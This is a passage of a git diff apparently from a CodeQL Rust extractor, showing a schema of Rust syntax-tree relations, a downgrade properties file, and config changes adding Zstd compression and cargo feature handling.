+); + +#keyset[id] +field_expr_containers( + int id: @field_expr ref, + int container: @expr ref +); + +#keyset[id] +field_expr_identifiers( + int id: @field_expr ref, + int identifier: @name_ref ref +); + +fn_ptr_type_reprs( + unique int id: @fn_ptr_type_repr +); + +#keyset[id] +fn_ptr_type_repr_abis( + int id: @fn_ptr_type_repr ref, + int abi: @abi ref +); + +#keyset[id] +fn_ptr_type_repr_is_async( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_const( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_unsafe( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_param_lists( + int id: @fn_ptr_type_repr ref, + int param_list: @param_list ref +); + +#keyset[id] +fn_ptr_type_repr_ret_types( + int id: @fn_ptr_type_repr ref, + int ret_type: @ret_type_repr ref +); + +for_type_reprs( + unique int id: @for_type_repr +); + +#keyset[id] +for_type_repr_generic_param_lists( + int id: @for_type_repr ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +for_type_repr_type_reprs( + int id: @for_type_repr ref, + int type_repr: @type_repr ref +); + +format_args_exprs( + unique int id: @format_args_expr +); + +#keyset[id, index] +format_args_expr_args( + int id: @format_args_expr ref, + int index: int ref, + int arg: @format_args_arg ref +); + +#keyset[id, index] +format_args_expr_attrs( + int id: @format_args_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +format_args_expr_templates( + int id: @format_args_expr ref, + int template: @expr ref +); + +ident_pats( + unique int id: @ident_pat +); + +#keyset[id, index] +ident_pat_attrs( + int id: @ident_pat ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ident_pat_is_mut( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_is_ref( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_names( + int id: @ident_pat ref, + int name: @name ref +); + +#keyset[id] +ident_pat_pats( + int id: @ident_pat ref, + int pat: @pat ref +); + +if_exprs( + unique int id: @if_expr +); + +#keyset[id, index] +if_expr_attrs( + int id: @if_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +if_expr_conditions( + int id: @if_expr ref, + int condition: @expr ref +); + +#keyset[id] +if_expr_elses( + int id: @if_expr ref, + int else: @expr ref +); + +#keyset[id] +if_expr_thens( + int id: @if_expr ref, + int then: @block_expr ref +); + +impl_trait_type_reprs( + unique int id: @impl_trait_type_repr +); + +#keyset[id] +impl_trait_type_repr_type_bound_lists( + int id: @impl_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +index_exprs( + unique int id: @index_expr +); + +#keyset[id, index] +index_expr_attrs( + int id: @index_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +index_expr_bases( + int id: @index_expr ref, + int base: @expr ref +); + +#keyset[id] +index_expr_indices( + int id: @index_expr ref, + int index: @expr ref +); + +infer_type_reprs( + unique int id: @infer_type_repr +); + +@item = + @const +| @enum +| @extern_block +| @extern_crate +| @function +| @impl +| @macro_call +| @macro_def +| @macro_rules +| @module +| @static +| @struct +| @trait +| @trait_alias +| @type_alias +| @union +| @use +; + +#keyset[id] +item_attribute_macro_expansions( + int id: @item ref, + int attribute_macro_expansion: @macro_items ref +); + +@labelable_expr = + @block_expr +| @looping_expr +; + +#keyset[id] +labelable_expr_labels( + int id: @labelable_expr ref, + int label: @label ref +); + +let_exprs( + unique int id: @let_expr +); + +#keyset[id, index] +let_expr_attrs( + int id: @let_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_expr_scrutinees( + int id: @let_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +let_expr_pats( + int id: @let_expr ref, + int pat: @pat ref +); + +let_stmts( + unique int id: @let_stmt +); + +#keyset[id, index] +let_stmt_attrs( + int id: @let_stmt ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_stmt_initializers( + int id: @let_stmt ref, + int initializer: @expr ref +); + +#keyset[id] +let_stmt_let_elses( + int id: @let_stmt ref, + int let_else: @let_else ref +); + +#keyset[id] +let_stmt_pats( + int id: @let_stmt ref, + int pat: @pat ref +); + +#keyset[id] +let_stmt_type_reprs( + int id: @let_stmt ref, + int type_repr: @type_repr ref +); + +lifetimes( + unique int id: @lifetime +); + +#keyset[id] +lifetime_texts( + int id: @lifetime ref, + string text: string ref +); + +lifetime_args( + unique int id: @lifetime_arg +); + +#keyset[id] +lifetime_arg_lifetimes( + int id: @lifetime_arg ref, + int lifetime: @lifetime ref +); + +lifetime_params( + unique int id: @lifetime_param +); + +#keyset[id, index] +lifetime_param_attrs( + int id: @lifetime_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +lifetime_param_lifetimes( + int id: @lifetime_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +lifetime_param_type_bound_lists( + int id: @lifetime_param ref, + int type_bound_list: @type_bound_list ref +); + +literal_exprs( + unique int id: @literal_expr +); + +#keyset[id, index] +literal_expr_attrs( + int id: @literal_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +literal_expr_text_values( + int id: @literal_expr ref, + string text_value: string ref +); + +literal_pats( + unique int id: @literal_pat +); + +#keyset[id] +literal_pat_literals( + int id: @literal_pat ref, + int literal: @literal_expr ref +); + +macro_block_exprs( + unique int id: @macro_block_expr +); + +#keyset[id] +macro_block_expr_tail_exprs( + int id: @macro_block_expr ref, + int tail_expr: @expr ref +); + +#keyset[id, index] +macro_block_expr_statements( + int id: @macro_block_expr ref, + int index: int ref, + int statement: @stmt ref +); + +macro_exprs( + unique int id: @macro_expr +); + +#keyset[id] +macro_expr_macro_calls( + int id: @macro_expr ref, + int macro_call: @macro_call ref +); + +macro_pats( + unique int id: @macro_pat +); + +#keyset[id] +macro_pat_macro_calls( + int id: @macro_pat ref, + int macro_call: @macro_call ref +); + +macro_type_reprs( + unique int id: @macro_type_repr +); + +#keyset[id] +macro_type_repr_macro_calls( + int id: @macro_type_repr ref, + int macro_call: @macro_call ref +); + +match_exprs( + unique int id: @match_expr +); + +#keyset[id, index] +match_expr_attrs( + int id: @match_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_expr_scrutinees( + int id: @match_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +match_expr_match_arm_lists( + int id: @match_expr ref, + int match_arm_list: @match_arm_list ref +); + +name_refs( + unique int id: @name_ref +); + +#keyset[id] +name_ref_texts( + int id: @name_ref ref, + string text: string ref +); + +never_type_reprs( + unique int id: @never_type_repr +); + +offset_of_exprs( + unique int id: @offset_of_expr +); + +#keyset[id, index] +offset_of_expr_attrs( + int id: @offset_of_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +offset_of_expr_fields( + int id: @offset_of_expr ref, + int index: int ref, + int field: @name_ref ref +); + +#keyset[id] +offset_of_expr_type_reprs( + int id: @offset_of_expr ref, + int type_repr: @type_repr ref +); + +or_pats( + unique int id: @or_pat +); + +#keyset[id, index] +or_pat_pats( + int id: @or_pat ref, + int index: int ref, + int pat: @pat ref +); + +params( + unique int id: @param +); + +#keyset[id] +param_pats( + int id: @param ref, + int pat: @pat ref +); + +paren_exprs( + unique int id: @paren_expr +); + +#keyset[id, index] +paren_expr_attrs( + int id: @paren_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +paren_expr_exprs( + int id: @paren_expr ref, + int expr: @expr ref +); + +paren_pats( + unique int id: @paren_pat +); + +#keyset[id] +paren_pat_pats( + int id: @paren_pat ref, + int pat: @pat ref +); + +paren_type_reprs( + unique int id: @paren_type_repr +); + +#keyset[id] +paren_type_repr_type_reprs( + int id: @paren_type_repr ref, + int type_repr: @type_repr ref +); + +@path_ast_node = + @path_expr +| @path_pat +| @struct_expr +| @struct_pat +| @tuple_struct_pat +; + +#keyset[id] +path_ast_node_paths( + int id: @path_ast_node ref, + int path: @path ref +); + +@path_expr_base = + @path_expr +; + +path_type_reprs( + unique int id: @path_type_repr +); + +#keyset[id] +path_type_repr_paths( + int id: @path_type_repr ref, + int path: @path ref +); + +prefix_exprs( + unique int id: @prefix_expr +); + +#keyset[id, index] +prefix_expr_attrs( + int id: @prefix_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +prefix_expr_exprs( + int id: @prefix_expr ref, + int expr: @expr ref +); + +#keyset[id] +prefix_expr_operator_names( + int id: @prefix_expr ref, + string operator_name: string ref +); + +ptr_type_reprs( + unique int id: @ptr_type_repr +); + +#keyset[id] +ptr_type_repr_is_const( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_is_mut( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_type_reprs( + int id: @ptr_type_repr ref, + int type_repr: @type_repr ref +); + +range_exprs( + unique int id: @range_expr +); + +#keyset[id, index] +range_expr_attrs( + int id: @range_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +range_expr_ends( + int id: @range_expr ref, + int end: @expr ref +); + +#keyset[id] +range_expr_operator_names( + int id: @range_expr ref, + string operator_name: string ref +); + +#keyset[id] +range_expr_starts( + int id: @range_expr ref, + int start: @expr ref +); + +range_pats( + unique int id: @range_pat +); + +#keyset[id] +range_pat_ends( + int id: @range_pat ref, + int end: @pat ref +); + +#keyset[id] +range_pat_operator_names( + int id: @range_pat ref, + string operator_name: string ref +); + +#keyset[id] +range_pat_starts( + int id: @range_pat ref, + int start: @pat ref +); + +ref_exprs( + unique int id: @ref_expr +); + +#keyset[id, index] +ref_expr_attrs( + int id: @ref_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ref_expr_exprs( + int id: @ref_expr ref, + int expr: @expr ref +); + +#keyset[id] +ref_expr_is_const( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_mut( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_raw( + int id: @ref_expr ref +); + +ref_pats( + unique int id: @ref_pat +); + +#keyset[id] +ref_pat_is_mut( + int id: @ref_pat ref +); + +#keyset[id] +ref_pat_pats( + int id: @ref_pat ref, + int pat: @pat ref +); + +ref_type_reprs( + unique int id: @ref_type_repr +); + +#keyset[id] +ref_type_repr_is_mut( + int id: @ref_type_repr ref +); + +#keyset[id] +ref_type_repr_lifetimes( + int id: @ref_type_repr ref, + int lifetime: @lifetime ref +); + +#keyset[id] +ref_type_repr_type_reprs( + int id: @ref_type_repr ref, + int type_repr: @type_repr ref +); + +rest_pats( + unique int id: @rest_pat +); + +#keyset[id, index] +rest_pat_attrs( + int id: @rest_pat ref, + int index: int ref, + int attr: @attr ref +); + +return_exprs( + unique int id: @return_expr +); + +#keyset[id, index] +return_expr_attrs( + int id: @return_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +return_expr_exprs( + int id: @return_expr ref, + int expr: @expr ref +); + +self_params( + unique int id: @self_param +); + +#keyset[id] +self_param_is_ref( + int id: @self_param ref +); + +#keyset[id] +self_param_is_mut( + int id: @self_param ref +); + +#keyset[id] +self_param_lifetimes( + int id: @self_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +self_param_names( + int id: @self_param ref, + int name: @name ref +); + +slice_pats( + unique int id: @slice_pat +); + +#keyset[id, index] +slice_pat_pats( + int id: @slice_pat ref, + int index: int ref, + int pat: @pat ref +); + +slice_type_reprs( + unique int id: @slice_type_repr +); + +#keyset[id] +slice_type_repr_type_reprs( + int id: @slice_type_repr ref, + int type_repr: @type_repr ref +); + +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + +try_exprs( + unique int id: @try_expr +); + +#keyset[id, index] +try_expr_attrs( + int id: @try_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +try_expr_exprs( + int id: @try_expr ref, + int expr: @expr ref +); + +tuple_exprs( + unique int id: @tuple_expr +); + +#keyset[id, index] +tuple_expr_attrs( + int id: @tuple_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +tuple_expr_fields( + int id: @tuple_expr ref, + int index: int ref, + int field: @expr ref +); + +tuple_field_lists( + unique int id: @tuple_field_list +); + +#keyset[id, index] +tuple_field_list_fields( + int id: @tuple_field_list ref, + int index: int ref, + int field: @tuple_field ref +); + +tuple_pats( + unique int id: @tuple_pat +); + +#keyset[id, index] +tuple_pat_fields( + int id: @tuple_pat ref, + int index: int ref, + int field: @pat ref +); + +tuple_type_reprs( + unique int id: @tuple_type_repr +); + +#keyset[id, index] +tuple_type_repr_fields( + int id: @tuple_type_repr ref, + int index: int ref, + int field: @type_repr ref +); + +type_args( + unique int id: @type_arg +); + +#keyset[id] +type_arg_type_reprs( + int id: @type_arg ref, + int type_repr: @type_repr ref +); + +type_params( + unique int id: @type_param +); + +#keyset[id, index] +type_param_attrs( + int id: @type_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_param_default_types( + int id: @type_param ref, + int default_type: @type_repr ref +); + +#keyset[id] +type_param_names( + int id: @type_param ref, + int name: @name ref +); + +#keyset[id] +type_param_type_bound_lists( + int id: @type_param ref, + int type_bound_list: @type_bound_list ref +); + +underscore_exprs( + unique int id: @underscore_expr +); + +#keyset[id, index] +underscore_expr_attrs( + int id: @underscore_expr ref, + int index: int ref, + int attr: @attr ref +); + +variants( + unique int id: @variant +); + +#keyset[id, index] +variant_attrs( + int id: @variant ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +variant_discriminants( + int id: @variant ref, + int discriminant: @expr ref +); + +#keyset[id] +variant_field_lists( + int id: @variant ref, + int field_list: @field_list ref +); + +#keyset[id] +variant_names( + int id: @variant ref, + int name: @name ref +); + +#keyset[id] +variant_visibilities( + int id: @variant ref, + int visibility: @visibility ref +); + +wildcard_pats( + unique int id: @wildcard_pat +); + +yeet_exprs( + unique int id: @yeet_expr +); + +#keyset[id, index] +yeet_expr_attrs( + int id: @yeet_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yeet_expr_exprs( + int id: @yeet_expr ref, + int expr: @expr ref +); + +yield_exprs( + unique int id: @yield_expr +); + +#keyset[id, index] +yield_expr_attrs( + int id: @yield_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yield_expr_exprs( + int id: @yield_expr ref, + int expr: @expr ref +); + +block_exprs( + unique int id: @block_expr +); + +#keyset[id, index] +block_expr_attrs( + int id: @block_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +block_expr_is_async( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_const( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_gen( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_move( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_try( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_unsafe( + int id: @block_expr ref +); + +#keyset[id] +block_expr_stmt_lists( + int id: @block_expr ref, + int stmt_list: @stmt_list ref +); + +call_exprs( + unique int id: @call_expr +); + +#keyset[id] +call_expr_functions( + int id: @call_expr ref, + int function: @expr ref +); + +consts( + unique int id: @const +); + +#keyset[id, index] +const_attrs( + int id: @const ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_bodies( + int id: @const ref, + int body: @expr ref +); + +#keyset[id] +const_is_const( + int id: @const ref +); + +#keyset[id] +const_is_default( + int id: @const ref +); + +#keyset[id] +const_names( + int id: @const ref, + int name: @name ref +); + +#keyset[id] +const_type_reprs( + int id: @const ref, + int type_repr: @type_repr ref +); + +#keyset[id] +const_visibilities( + int id: @const ref, + int visibility: @visibility ref +); + +enums( + unique int id: @enum +); + +#keyset[id, index] +enum_attrs( + int id: @enum ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +enum_generic_param_lists( + int id: @enum ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +enum_names( + int id: @enum ref, + int name: @name ref +); + +#keyset[id] +enum_variant_lists( + int id: @enum ref, + int variant_list: @variant_list ref +); + +#keyset[id] +enum_visibilities( + int id: @enum ref, + int visibility: @visibility ref +); + +#keyset[id] +enum_where_clauses( + int id: @enum ref, + int where_clause: @where_clause ref +); + +extern_blocks( + unique int id: @extern_block +); + +#keyset[id] +extern_block_abis( + int id: @extern_block ref, + int abi: @abi ref +); + +#keyset[id, index] +extern_block_attrs( + int id: @extern_block ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_block_extern_item_lists( + int id: @extern_block ref, + int extern_item_list: @extern_item_list ref +); + +#keyset[id] +extern_block_is_unsafe( + int id: @extern_block ref +); + +extern_crates( + unique int id: @extern_crate +); + +#keyset[id, index] +extern_crate_attrs( + int id: @extern_crate ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_crate_identifiers( + int id: @extern_crate ref, + int identifier: @name_ref ref +); + +#keyset[id] +extern_crate_renames( + int id: @extern_crate ref, + int rename: @rename ref +); + +#keyset[id] +extern_crate_visibilities( + int id: @extern_crate ref, + int visibility: @visibility ref +); + +functions( + unique int id: @function +); + +#keyset[id] +function_abis( + int id: @function ref, + int abi: @abi ref +); + +#keyset[id] +function_bodies( + int id: @function ref, + int body: @block_expr ref +); + +#keyset[id] +function_generic_param_lists( + int id: @function ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +function_is_async( + int id: @function ref +); + +#keyset[id] +function_is_const( + int id: @function ref +); + +#keyset[id] +function_is_default( + int id: @function ref +); + +#keyset[id] +function_is_gen( + int id: @function ref +); + +#keyset[id] +function_is_unsafe( + int id: @function ref +); + +#keyset[id] +function_names( + int id: @function ref, + int name: @name ref +); + +#keyset[id] +function_ret_types( + int id: @function ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +function_visibilities( + int id: @function ref, + int visibility: @visibility ref +); + +#keyset[id] +function_where_clauses( + int id: @function ref, + int where_clause: @where_clause ref +); + +impls( + unique int id: @impl +); + +#keyset[id] +impl_assoc_item_lists( + int id: @impl ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +impl_attrs( + int id: @impl ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +impl_generic_param_lists( + int id: @impl ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +impl_is_const( + int id: @impl ref +); + +#keyset[id] +impl_is_default( + int id: @impl ref +); + +#keyset[id] +impl_is_unsafe( + int id: @impl ref +); + +#keyset[id] +impl_self_ties( + int id: @impl ref, + int self_ty: @type_repr ref +); + +#keyset[id] +impl_traits( + int id: @impl ref, + int trait: @type_repr ref +); + +#keyset[id] +impl_visibilities( + int id: @impl ref, + int visibility: @visibility ref +); + +#keyset[id] +impl_where_clauses( + int id: @impl ref, + int where_clause: @where_clause ref +); + +@looping_expr = + @for_expr +| @loop_expr +| @while_expr +; + +#keyset[id] +looping_expr_loop_bodies( + int id: @looping_expr ref, + int loop_body: @block_expr ref +); + +macro_calls( + unique int id: @macro_call +); + +#keyset[id, index] +macro_call_attrs( + int id: @macro_call ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_call_paths( + int id: @macro_call ref, + int path: @path ref +); + +#keyset[id] +macro_call_token_trees( + int id: @macro_call ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_call_macro_call_expansions( + int id: @macro_call ref, + int macro_call_expansion: @ast_node ref +); + +macro_defs( + unique int id: @macro_def +); + +#keyset[id] +macro_def_args( + int id: @macro_def ref, + int args: @token_tree ref +); + +#keyset[id, index] +macro_def_attrs( + int id: @macro_def ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_def_bodies( + int id: @macro_def ref, + int body: @token_tree ref +); + +#keyset[id] +macro_def_names( + int id: @macro_def ref, + int name: @name ref +); + +#keyset[id] +macro_def_visibilities( + int id: @macro_def ref, + int visibility: @visibility ref +); + +macro_rules( + unique int id: @macro_rules +); + +#keyset[id, index] +macro_rules_attrs( + int id: @macro_rules ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_rules_names( + int id: @macro_rules ref, + int name: @name ref +); + +#keyset[id] +macro_rules_token_trees( + int id: @macro_rules ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_rules_visibilities( + int id: @macro_rules ref, + int visibility: @visibility ref +); + +method_call_exprs( + unique int id: @method_call_expr +); + +#keyset[id] +method_call_expr_generic_arg_lists( + int id: @method_call_expr ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +method_call_expr_identifiers( + int id: @method_call_expr ref, + int identifier: @name_ref ref +); + +#keyset[id] +method_call_expr_receivers( + int id: @method_call_expr ref, + int receiver: @expr ref +); + +modules( + unique int id: @module +); + +#keyset[id, index] +module_attrs( + int id: @module ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +module_item_lists( + int id: @module ref, + int item_list: @item_list ref +); + +#keyset[id] +module_names( + int id: @module ref, + int name: @name ref +); + +#keyset[id] +module_visibilities( + int id: @module ref, + int visibility: @visibility ref +); + +path_exprs( + unique int id: @path_expr +); + +#keyset[id, index] +path_expr_attrs( + int id: @path_expr ref, + int index: int ref, + int attr: @attr ref +); + +path_pats( + unique int id: @path_pat +); + +statics( + unique int id: @static +); + +#keyset[id, index] +static_attrs( + int id: @static ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +static_bodies( + int id: @static ref, + int body: @expr ref +); + +#keyset[id] +static_is_mut( + int id: @static ref +); + +#keyset[id] +static_is_static( + int id: @static ref +); + +#keyset[id] +static_is_unsafe( + int id: @static ref +); + +#keyset[id] +static_names( + int id: @static ref, + int name: @name ref +); + +#keyset[id] +static_type_reprs( + int id: @static ref, + int type_repr: @type_repr ref +); + +#keyset[id] +static_visibilities( + int id: @static ref, + int visibility: @visibility ref +); + +structs( + unique int id: @struct +); + +#keyset[id, index] +struct_attrs( + int id: @struct ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_lists_( + int id: @struct ref, + int field_list: @field_list ref +); + +#keyset[id] +struct_generic_param_lists( + int id: @struct ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +struct_names( + int id: @struct ref, + int name: @name ref +); + +#keyset[id] +struct_visibilities( + int id: @struct ref, + int visibility: @visibility ref +); + +#keyset[id] +struct_where_clauses( + int id: @struct ref, + int where_clause: @where_clause ref +); + +struct_exprs( + unique int id: @struct_expr +); + +#keyset[id] +struct_expr_struct_expr_field_lists( + int id: @struct_expr ref, + int struct_expr_field_list: @struct_expr_field_list ref +); + +struct_pats( + unique int id: @struct_pat +); + +#keyset[id] +struct_pat_struct_pat_field_lists( + int id: @struct_pat ref, + int struct_pat_field_list: @struct_pat_field_list ref +); + +traits( + unique int id: @trait +); + +#keyset[id] +trait_assoc_item_lists( + int id: @trait ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +trait_attrs( + int id: @trait ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_generic_param_lists( + int id: @trait ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_is_auto( + int id: @trait ref +); + +#keyset[id] +trait_is_unsafe( + int id: @trait ref +); + +#keyset[id] +trait_names( + int id: @trait ref, + int name: @name ref +); + +#keyset[id] +trait_type_bound_lists( + int id: @trait ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_visibilities( + int id: @trait ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_where_clauses( + int id: @trait ref, + int where_clause: @where_clause ref +); + +trait_aliases( + unique int id: @trait_alias +); + +#keyset[id, index] +trait_alias_attrs( + int id: @trait_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_alias_generic_param_lists( + int id: @trait_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_alias_names( + int id: @trait_alias ref, + int name: @name ref +); + +#keyset[id] +trait_alias_type_bound_lists( + int id: @trait_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_alias_visibilities( + int id: @trait_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_alias_where_clauses( + int id: @trait_alias ref, + int where_clause: @where_clause ref +); + +tuple_struct_pats( + unique int id: @tuple_struct_pat +); + +#keyset[id, index] +tuple_struct_pat_fields( + int id: @tuple_struct_pat ref, + int index: int ref, + int field: @pat ref +); + +type_aliases( + unique int id: @type_alias +); + +#keyset[id, index] +type_alias_attrs( + int id: @type_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_alias_generic_param_lists( + int id: @type_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +type_alias_is_default( + int id: @type_alias ref +); + +#keyset[id] +type_alias_names( + int id: @type_alias ref, + int name: @name ref +); + +#keyset[id] +type_alias_type_reprs( + int id: @type_alias ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_alias_type_bound_lists( + int id: @type_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +type_alias_visibilities( + int id: @type_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +type_alias_where_clauses( + int id: @type_alias ref, + int where_clause: @where_clause ref +); + +unions( + unique int id: @union +); + +#keyset[id, index] +union_attrs( + int id: @union ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +union_generic_param_lists( + int id: @union ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +union_names( + int id: @union ref, + int name: @name ref +); + +#keyset[id] +union_struct_field_lists( + int id: @union ref, + int struct_field_list: @struct_field_list ref +); + +#keyset[id] +union_visibilities( + int id: @union ref, + int visibility: @visibility ref +); + +#keyset[id] +union_where_clauses( + int id: @union ref, + int where_clause: @where_clause ref +); + +uses( + unique int id: @use +); + +#keyset[id, index] +use_attrs( + int id: @use ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +use_use_trees( + int id: @use ref, + int use_tree: @use_tree ref +); + +#keyset[id] +use_visibilities( + int id: @use ref, + int visibility: @visibility ref +); + +for_exprs( + unique int id: @for_expr +); + +#keyset[id, index] +for_expr_attrs( + int id: @for_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +for_expr_iterables( + int id: @for_expr ref, + int iterable: @expr ref +); + +#keyset[id] +for_expr_pats( + int id: @for_expr ref, + int pat: @pat ref +); + +loop_exprs( + unique int id: @loop_expr +); + +#keyset[id, index] +loop_expr_attrs( + int id: @loop_expr ref, + int index: int ref, + int attr: @attr ref +); + +while_exprs( + unique int id: @while_expr +); + +#keyset[id, index] +while_expr_attrs( + int id: @while_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +while_expr_conditions( + int id: @while_expr ref, + int condition: @expr ref +); diff --git a/rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/upgrade.properties b/rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/upgrade.properties new file mode 100644 index 000000000000..e9796d4cba8a --- /dev/null +++ b/rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/upgrade.properties @@ -0,0 +1,2 @@ +description: Remove 'module' from Crate +compatibility: breaking diff --git a/rust/extractor/src/config.rs b/rust/extractor/src/config.rs index e66d54807be0..a2a74420b5d8 100644 --- a/rust/extractor/src/config.rs +++ b/rust/extractor/src/config.rs @@ -29,6 +29,7 @@ pub enum Compression { #[default] // TODO make gzip default None, Gzip, + Zstd, } impl From for trap::Compression { @@ -36,6 +37,7 @@ impl From for trap::Compression { match val { Compression::None => Self::None, Compression::Gzip => Self::Gzip, + Compression::Zstd => Self::Zstd, } } } @@ -55,7 +57,7 @@ pub struct Config { pub cargo_all_targets: bool, pub logging_flamegraph: Option, pub logging_verbosity: Option, - pub compression: Compression, + pub trap_compression: Compression, pub inputs: Vec, pub qltest: bool, pub qltest_cargo_check: bool, @@ -67,6 +69,7 @@ pub struct Config { pub extra_includes: Vec, pub proc_macro_server: Option, pub skip_path_resolution: bool, + pub extract_dependencies_as_source: bool, } impl Config { @@ -126,6 +129,23 @@ impl Config { } } + fn cargo_features(&self) -> CargoFeatures { + // '*' is to be considered deprecated but still kept in for backward compatibility + if self.cargo_features.is_empty() || self.cargo_features.iter().any(|f| f == "*") { + CargoFeatures::All + } else { + CargoFeatures::Selected { + features: self + .cargo_features + .iter() + .filter(|f| *f != "default") + .cloned() + .collect(), + no_default_features: !self.cargo_features.iter().any(|f| f == "default"), + } + } + } + pub fn to_cargo_config(&self, dir: &AbsPath) -> (CargoConfig, LoadCargoConfig) { let sysroot = self.sysroot(dir); ( @@ -156,16 +176,7 @@ impl Config { .unwrap_or_else(|| self.scratch_dir.join("target")), ) .ok(), - features: if self.cargo_features.is_empty() { - Default::default() - } else if self.cargo_features.contains(&"*".to_string()) { - CargoFeatures::All - } else { - CargoFeatures::Selected { - features: self.cargo_features.clone(), - no_default_features: false, - } - }, + features: self.cargo_features(), target: self.cargo_target.clone(), cfg_overrides: to_cfg_overrides(&self.cargo_cfg_overrides), wrap_rustc_in_build_scripts: false, diff --git a/rust/extractor/src/crate_graph.rs b/rust/extractor/src/crate_graph.rs index 8122248aba3c..87f8e4e17b41 100644 --- a/rust/extractor/src/crate_graph.rs +++ b/rust/extractor/src/crate_graph.rs @@ -1,46 +1,15 @@ -use crate::{ - generated::{self}, - trap::{self, TrapFile}, -}; -use chalk_ir::FloatTy; -use chalk_ir::IntTy; -use chalk_ir::Scalar; -use chalk_ir::UintTy; +use crate::{generated, trap}; + use itertools::Itertools; use ra_ap_base_db::{Crate, RootQueryDb}; use ra_ap_cfg::CfgAtom; -use ra_ap_hir::{DefMap, ModuleDefId, PathKind, db::HirDatabase}; -use ra_ap_hir::{VariantId, Visibility, db::DefDatabase}; -use ra_ap_hir_def::GenericDefId; -use ra_ap_hir_def::Lookup; -use 